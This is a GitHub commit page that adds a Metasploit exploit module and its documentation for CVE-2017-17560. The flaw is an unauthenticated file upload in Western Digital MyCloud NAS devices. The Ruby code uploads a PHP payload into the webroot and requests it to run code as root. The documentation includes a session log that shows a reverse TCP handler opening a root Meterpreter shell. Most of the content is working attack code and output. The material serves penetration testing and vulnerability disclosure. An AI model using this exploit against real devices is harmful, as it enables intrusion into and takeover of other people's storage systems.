Skip to content

Commit c6a2ae2

Browse files
committed
Land rapid7#9248, Add wd_mycloud_multiupload_upload exploit
2 parents d7ad443 + 125a079 commit c6a2ae2

File tree

2 files changed

+147
-0
lines changed

2 files changed

+147
-0
lines changed
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
## Description
2+
3+
This module exploits a file upload vulnerability found in Western Digital's MyCloud NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php PHP script provides multipart upload functionality that is accessible without authentication and can be used to place a file anywhere on the device's file system. This allows an attacker the ability to upload a PHP shell onto the device and obtain arbitrary code execution as root.
4+
5+
## Vulnerable Application
6+
7+
[Western Digital](https://www.wdc.com/) designs drives and network attached storage (NAS) devices for both consumers and businesses.
8+
9+
This module was tested successfully on a MyCloud PR4100 with firmware version 2.30.172 .
10+
11+
## Verification Steps
12+
13+
1. Do: ```use exploit/linux/http/wd_mycloud_multiupload_upload```
14+
2. Do: ```set RHOST [IP]```
15+
3. Do: ```check```
16+
4. It should be reported as vulnerable
17+
5. Do: ```run```
18+
6. You should get a shell
19+
20+
## Scenarios
21+
22+
```
23+
msf > use exploit/linux/http/wd_mycloud_multiupload_upload
24+
msf exploit(wd_mycloud_multiupload_upload) > set RHOST 192.168.86.104
25+
RHOST => 192.168.86.104
26+
msf exploit(wd_mycloud_multiupload_upload) > check
27+
[+] 192.168.86.104:80 The target is vulnerable.
28+
msf exploit(wd_mycloud_multiupload_upload) > run
29+
30+
[*] Started reverse TCP handler on 192.168.86.215:4444
31+
[*] Uploading PHP payload (1124 bytes) to '/var/www'.
32+
[+] Uploaded PHP payload successfully.
33+
[*] Making request for '/.7bc5NqFMK5.php' to execute payload.
34+
[*] Sending stage (37543 bytes) to 192.168.86.104
35+
[*] Meterpreter session 1 opened (192.168.86.215:4444 -> 192.168.86.104:38086) at 2017-11-28 06:07:14 -0600
36+
[+] Deleted .7bc5NqFMK5.php
37+
38+
meterpreter > getuid
39+
Server username: root (0)
40+
```
Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
HttpFingerprint = { :method => 'HEAD', :uri => '/web/', :pattern => [/Apache/] }
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => 'Western Digital MyCloud multi_uploadify File Upload Vulnerability',
16+
'Description' => %q{
17+
This module exploits a file upload vulnerability found in Western Digital's MyCloud
18+
NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php
19+
PHP script provides multipart upload functionality that is accessible without authentication
20+
and can be used to place a file anywhere on the device's file system. This allows an
21+
attacker the ability to upload a PHP shell onto the device and obtain arbitrary code
22+
execution as root.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' =>
26+
[
27+
'Zenofex <zenofex[at]exploitee.rs>' # Initial vulnerability discovery, PoC, and Metasploit module
28+
],
29+
'References' =>
30+
[
31+
['URL', 'https://www.exploitee.rs/index.php/Western_Digital_MyCloud#.2Fjquery.2Fuploader.2Fmulti_uploadify.php_.28added_08.2F06.2F2017.29'],
32+
['URL', 'https://download.exploitee.rs/file/generic/Exploiteers-DEFCON25.pdf'],
33+
['URL', 'https://www.youtube.com/watch?v=EO_49pfmA5A'],
34+
['CVE', '2017-17560']
35+
],
36+
'Platform' => 'php',
37+
'Arch' => ARCH_PHP,
38+
'Targets' =>
39+
[
40+
['Automatic Targeting', { 'auto' => true }]
41+
],
42+
'Privileged' => true,
43+
'DisclosureDate' => 'Jul 29 2017',
44+
'DefaultTarget' => 0))
45+
end
46+
47+
def check
48+
res = send_request_cgi('uri' => '/web/jquery/uploader/multi_uploadify.php')
49+
50+
if res.nil?
51+
vprint_error('Connection failed')
52+
return CheckCode::Unknown
53+
end
54+
55+
if res.code == 302 && res.headers['Location'] =~ /\?status=1/
56+
return CheckCode::Vulnerable
57+
end
58+
59+
CheckCode::Safe
60+
end
61+
62+
def upload(web_folder, fname, file)
63+
# construct post data
64+
data = Rex::MIME::Message.new
65+
data.add_part(file, 'application/x-php', nil, "form-data; name=\"Filedata[]\"; filename=\"#{fname}\"")
66+
67+
# upload
68+
res = send_request_cgi({
69+
'method' => 'POST',
70+
'uri' => '/web/jquery/uploader/multi_uploadify.php',
71+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
72+
'data' => data.to_s,
73+
'vars_get' => {
74+
'folder' => web_folder
75+
}
76+
})
77+
end
78+
79+
def exploit
80+
if check != CheckCode::Vulnerable
81+
fail_with(Failure::NotVulnerable, 'Target does not appear to be a vulnerable Western Digital MyCloud device')
82+
end
83+
84+
# upload PHP payload to '/var/www' (webroot).
85+
web_folder = '/var/www'
86+
php = "<?php #{payload.encoded} ?>"
87+
print_status("Uploading PHP payload (#{php.length} bytes) to '#{web_folder}'.")
88+
fname = ".#{rand_text_alphanumeric(rand(10) + 6)}.php"
89+
90+
res = upload(web_folder, fname, php)
91+
92+
# check upload response
93+
fail_with(Failure::Unreachable, 'No response received from the target.') unless res
94+
if res.code != 302 || res.headers['Location'] =~ /\?status=0/
95+
fail_with(Failure::UnexpectedReply, "Unexpected reply (#{res.body.length} bytes)")
96+
end
97+
print_good('Uploaded PHP payload successfully.')
98+
99+
# register uploaded php payload file for cleanup
100+
register_files_for_cleanup(fname)
101+
102+
# retrieve and execute PHP payload
103+
print_status("Making request for '/#{fname}' to execute payload.")
104+
res = send_request_cgi({'uri' => normalize_uri(fname)}, 15)
105+
end
106+
107+
end

0 commit comments

Comments
 (0)